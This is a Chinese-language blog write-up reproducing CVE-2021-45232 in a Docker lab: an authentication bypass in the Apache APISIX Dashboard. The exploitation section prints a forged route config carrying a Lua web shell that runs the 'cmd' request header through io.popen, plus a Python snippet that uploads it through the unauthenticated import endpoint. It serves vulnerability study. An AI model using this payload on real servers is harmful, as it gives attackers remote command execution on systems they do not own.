CVE-2021-45232漏洞复现

最新推荐文章于 2025-06-29 03:24:54 发布

原创最新推荐文章于 2025-06-29 03:24:54 发布 · 8.1k 阅读

8 ·

CC 4.0 BY-SA版权

文章标签：

#安全

web 专栏收录该内容

6 篇文章

订阅专栏

本文详细介绍了CVE-2021-45232，一个Apache APISIX Dashboard的身份验证绕过漏洞。通过环境搭建、漏洞验证和利用过程的演示，展示了如何利用该漏洞获取配置文件并执行系统命令。同时，文中还提及了在复现过程中遇到的两个问题及其解决办法。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

文章目录

1.漏洞介绍

编号: CVE-2021-45232
组件: APISIX
漏洞类型: 身份验证绕过
影响: 身份验证绕过
简述: 在2.10.1之前的Apache APISIX Dashboard中，Manager API使用了两个框架，并在框架‘gin’的基础上引入了框架‘droplet’，所有的API和认证中间件都是基于框架‘droplet’开发的，但有些API直接使用框架‘gin’的接口，从而绕过了认证。
版本影响 :
apache: 2.7.0 < APISIX Dashboard< 2.10.1	2.10.1

2.漏洞环境搭建

git clone https://github.com/apache/apisix-docker
cd ./apisix-docker/example

首先，修改该目录下配置项，如图version版本修改为2,apisix-dashboard版本修改为2.8 在这里插入图片描述

# 下载并启动环境
docker-compose up -d

接下来进行一些简单配置，模拟实战环境

默认登陆地址：ip:9000
默认用户名密码:admin/admin

切换路由选项，选择创建
在这里插入图片描述

名字随便起，一会会用到
在这里插入图片描述
目标节点随意，直接下一步

一路下一步，直接提交即可

路由界面即可看到我们的配置

3.漏洞验证

# 直接访问即可
ip:port/apisix/admin/migrate/export

这里出现了配置文件泄漏
在这里插入图片描述
看一下，正是我们刚刚配置的路由，已经泄漏出来

4 漏洞利用

主要利用过程就是在接口路由中执行一个扩展脚本 , 通过他执行系统命令。
这里先手动测试一下。
在这里插入图片描述
注意这里的的配置文件是可以修改的，script直接加上就行

然后进行访问http://ip:9000/test。(test就是上面创建的路由名称)
进入容器查看：这里注意的是。最终脚本执行不是在9000端口的容器里，而是在管理的apache/apisix 的 9080端口的容器里如图
在这里插入图片描述

OK,接下来就是如何在创建一个含恶意脚本的路由配置
这里用到了dashboard导入配置
根据emport导出的配置伪造一个配置文件

eval_config = {
    "Consumers": [],
    "Routes": [
        {
            "id": str(random.randint(100000000000000000, 1000000000000000000)),
            "create_time": 1641259840,
            "update_time": 1641260783,
            "uri": "/evil",
            "name": "evil",
            "methods": ["GET", "POST", "PUT", "DELETE", "PATCH", "HEAD", "OPTIONS", "CONNECT", "TRACE"],
            "script":"local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)",
            "upstream":
            {
                "nodes":
                [{"host": "1.1.1.1", "port": 8080, "weight": 1}],
                "timeout": {"connect": 6, "send": 6, "read": 6},
                "type": "roundrobin",
                "scheme": "http",
                "pass_host": "pass",
                "keepalive_pool": {"idle_timeout": 60, "requests": 1000, "size": 320}
            },
            "status": 1
        }
    ],
    "Services": [],
    "SSLs": [],
    "Upstreams": [],
    "Scripts": [],
    "GlobalPlugins": [],
    "PluginConfigs": []
}

# POST传递数据：
# 注意需要添加CRC32校验位
    files = {"file": ("data", data + crc32, "text/data")}
    resp = requests.post(url + "/apisix/admin/migrate/import", files=files)